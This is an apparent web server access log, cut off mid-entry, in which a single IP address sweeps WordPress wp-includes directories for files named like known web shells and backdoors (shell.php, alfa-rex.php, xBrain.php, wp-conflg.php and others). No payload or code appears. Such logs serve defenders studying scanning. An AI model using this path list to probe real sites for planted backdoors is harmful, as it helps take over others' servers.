[19/Apr/2025:19:47:01 -0400] "GET /wp-includes/SimplePie/Cache//cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:01 -0400] "GET /wp-includes/SimplePie/Cache/Hash.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:02 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:03 -0400] "GET /wp-includes/SimplePie/Content//makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:04 -0400] "GET /wp-includes/SimplePie/Content/Type//themes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:05 -0400] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:06 -0400] "GET /wp-includes/SimplePie/Content/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:07 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:08 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:09 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:10 -0400] "GET /wp-includes/SimplePie/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:11 -0400] "GET /wp-includes/SimplePie/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:12 -0400] "GET /wp-includes/SimplePie/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:12 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:13 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:14 -0400] "GET /wp-includes/SimplePie/system.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:15 -0400] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:15 -0400] "GET /wp-includes/SimplePie/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:16 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:17 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:18 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:20 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:21 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:24 -0400] "GET /wp-includes/Text/Diff/Engine//shell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:25 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:27 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:31 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:33 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:36 -0400] "GET /wp-includes/Text/Diff/Renderer/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:38 -0400] "GET /wp-includes/Text/Diff/Renderer/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:41 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:42 -0400] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:44 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:45 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:46 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:47 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:48 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:48 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:49 -0400] "GET /wp-includes/Text/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:51 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:52 -0400] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:52 -0400] "GET /wp-includes/Text/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:53 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:54 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:55 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:56 -0400] "GET /wp-includes/assets//about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:56 -0400] "GET /wp-includes/assets//classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:58 -0400] "GET /wp-includes/assets//cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:59 -0400] "GET /wp-includes/assets//wp-access.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:00 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:00 -0400] "GET /wp-includes/assets/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:01 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:02 -0400] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:02 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:05 -0400] "GET /wp-includes/assets/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:07 -0400] "GET /wp-includes/assets/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:08 -0400] "GET /wp-includes/assets/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:09 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:10 -0400] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:11 -0400] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:13 -0400] "GET /wp-includes/blTvYBaqncP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:13 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:15 -0400] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:16 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:18 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:20 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:22 -0400] "GET /wp-includes/block-patterns/ben.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:25 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:28 -0400] "GET /wp-includes/block-patterns/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:30 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:31 -0400] "GET /wp-includes/block-supports//default-constant.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:32 -0400] "GET /wp-includes/block-supports//dimensions-ajax.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:34 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:36 -0400] "GET /wp-includes/block-supports/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:38 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:39 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:41 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:42 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:44 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:44 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:46 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:47 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:48 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:49 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:50 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:51 -0400] "GET /wp-includes/blocks/list/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:51 -0400] "GET /wp-includes/blocks/list/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:53 -0400] "GET /wp-includes/blocks/loginout/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:53 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:54 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:55 -0400] "GET /wp-includes/blocks/post-author/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:56 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:48:58 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:00 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:01 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:03 -0400] "GET /wp-includes/blocks/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:05 -0400] "GET /wp-includes/blocks/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:06 -0400] "GET /wp-includes/bnYGWrcap1X.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:08 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:11 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:14 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:15 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:17 -0400] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:18 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:20 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:21 -0400] "GET /wp-includes/certificates/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:23 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:24 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:25 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:26 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:27 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:28 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:29 -0400] "GET /wp-includes/css/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:29 -0400] "GET /wp-includes/css/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:30 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:32 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:34 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:36 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:38 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:40 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:41 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:42 -0400] "GET /wp-includes/css/dist/preferences/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:44 -0400] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:45 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:47 -0400] "GET /wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:48 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:48 -0400] "GET /wp-includes/css/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:49 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:50 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:50 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:51 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:51 -0400] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:53 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:54 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:56 -0400] "GET /wp-includes/customize/mariju.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:57 -0400] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:57 -0400] "GET /wp-includes/customize/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:49:59 -0400] "GET /wp-includes/customize/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:00 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:02 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:03 -0400] "GET /wp-includes/fonts//links.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:05 -0400] "GET /wp-includes/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:07 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:11 -0400] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:14 -0400] "GET /wp-includes/fonts/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:16 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:18 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:21 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:23 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:26 -0400] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:30 -0400] "GET /wp-includes/html-api/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:31 -0400] "GET /wp-includes/html-api/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:33 -0400] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:34 -0400] "GET /wp-includes/iUN3FwyCaZR.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:35 -0400] "GET /wp-includes/iWoGYaunXNz.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:36 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:37 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:37 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:38 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:39 -0400] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:40 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:42 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:43 -0400] "GET /wp-includes/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:44 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:45 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:46 -0400] "GET /wp-includes/images/media/ben.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:46 -0400] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:47 -0400] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:47 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:48 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:48 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:49 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:50 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:51 -0400] "GET /wp-includes/images/wlw/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:51 -0400] "GET /wp-includes/images/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:52 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:52 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:53 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:54 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:56 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:57 -0400] "GET /wp-includes/js//text.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:50:58 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:00 -0400] "GET /wp-includes/js/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:00 -0400] "GET /wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:01 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:02 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:03 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:05 -0400] "GET /wp-includes/js/codemirror/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:07 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:08 -0400] "GET /wp-includes/js/crop/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:11 -0400] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:13 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:15 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:17 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:18 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:20 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:22 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:22 -0400] "GET /wp-includes/js/tinymce/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:23 -0400] "GET /wp-includes/js/tinymce/plugins/charmap/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:24 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:24 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:25 -0400] "GET /wp-includes/js/tinymce/plugins/directionality/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:26 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:27 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:28 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:28 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:29 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:31 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:31 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:32 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:33 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:51:33 -0400] "GET 